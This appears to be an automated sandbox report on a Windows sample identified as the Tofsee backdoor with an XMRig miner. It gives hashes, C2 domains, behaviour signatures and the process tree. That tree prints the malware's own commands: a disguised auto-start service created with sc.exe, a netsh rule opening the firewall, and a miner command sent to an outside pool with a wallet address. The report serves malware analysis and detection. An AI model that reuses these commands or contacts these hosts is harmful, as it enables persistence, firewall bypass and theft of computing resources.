Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    13-04-2023 18:16

General

  • Target

    file.exe

  • Size

    275KB

  • MD5

    5ba507f12eb9410bc6b6e6f6405fad9c

  • SHA1

    05a44ad00b12db2758dec40cd287e541988c9493

  • SHA256

    8c1ed5f19fc64f6ddce49308b51d2e5ad445145558c4a67954ba4ea617c134f0

  • SHA512

    989bbc1c9f61dee17e35cc5d16bba667a54d1b974ed45c517575102a635edf967fe1ca4c4581eae9b42a88d11cf5eb9fd073a1a2bd782afe8891e0d3124a1e5d

  • SSDEEP

    3072:KB7tgGIXoBno64T/giFbDrQxoKI1R9JPnC50vBJ0nPr:Eg0o6AdDGor1/xrvBAr

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qpflmxgj\
      2⤵
        PID:920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pnckdtok.exe" C:\Windows\SysWOW64\qpflmxgj\
        2⤵
          PID:1200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qpflmxgj binPath= "C:\Windows\SysWOW64\qpflmxgj\pnckdtok.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qpflmxgj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qpflmxgj
          2⤵
          • Launches sc.exe
          PID:856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1344
      • C:\Windows\SysWOW64\qpflmxgj\pnckdtok.exe
        C:\Windows\SysWOW64\qpflmxgj\pnckdtok.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1784
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:920

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pnckdtok.exe

        Filesize

        10.3MB

        MD5

        909f795a5833848a9a737d247ebc21e8

        SHA1

        880e414dbcebac44acf6438f328da858b37dfcdf

        SHA256

        0f19a8be2816a101758ef3094d689dccaf75d35ce03593dd58294ad3a106518d

        SHA512

        e4b981b90c38c230132164d3c3dfa4905dfda37c53d04efa062573f083ac94c3f15a47c22b0679564911269728ba0982ba6adc766f8d44b399238d766e96756e

      • C:\Windows\SysWOW64\qpflmxgj\pnckdtok.exe

        Filesize

        10.3MB

        MD5

        909f795a5833848a9a737d247ebc21e8

        SHA1

        880e414dbcebac44acf6438f328da858b37dfcdf

        SHA256

        0f19a8be2816a101758ef3094d689dccaf75d35ce03593dd58294ad3a106518d

        SHA512

        e4b981b90c38c230132164d3c3dfa4905dfda37c53d04efa062573f083ac94c3f15a47c22b0679564911269728ba0982ba6adc766f8d44b399238d766e96756e

      • memory/868-66-0x0000000000400000-0x00000000004B3000-memory.dmp

        Filesize

        716KB

      • memory/920-121-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-122-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-120-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-123-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-119-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-118-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-111-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/920-110-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1236-63-0x0000000000400000-0x00000000004B3000-memory.dmp

        Filesize

        716KB

      • memory/1236-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1784-88-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-96-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-81-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-82-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-83-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-84-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-85-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-86-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-87-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1784-89-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-90-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-91-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-92-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-93-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-94-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-95-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-78-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-97-0x00000000000C0000-0x00000000000D0000-memory.dmp

        Filesize

        64KB

      • memory/1784-98-0x00000000000D0000-0x00000000000D5000-memory.dmp

        Filesize

        20KB

      • memory/1784-101-0x00000000000D0000-0x00000000000D5000-memory.dmp

        Filesize

        20KB

      • memory/1784-102-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

      • memory/1784-105-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

      • memory/1784-106-0x00000000000E0000-0x00000000000E7000-memory.dmp

        Filesize

        28KB

      • memory/1784-74-0x00000000018A0000-0x0000000001AAF000-memory.dmp

        Filesize

        2.1MB

      • memory/1784-71-0x00000000018A0000-0x0000000001AAF000-memory.dmp

        Filesize

        2.1MB

      • memory/1784-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1784-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1784-124-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB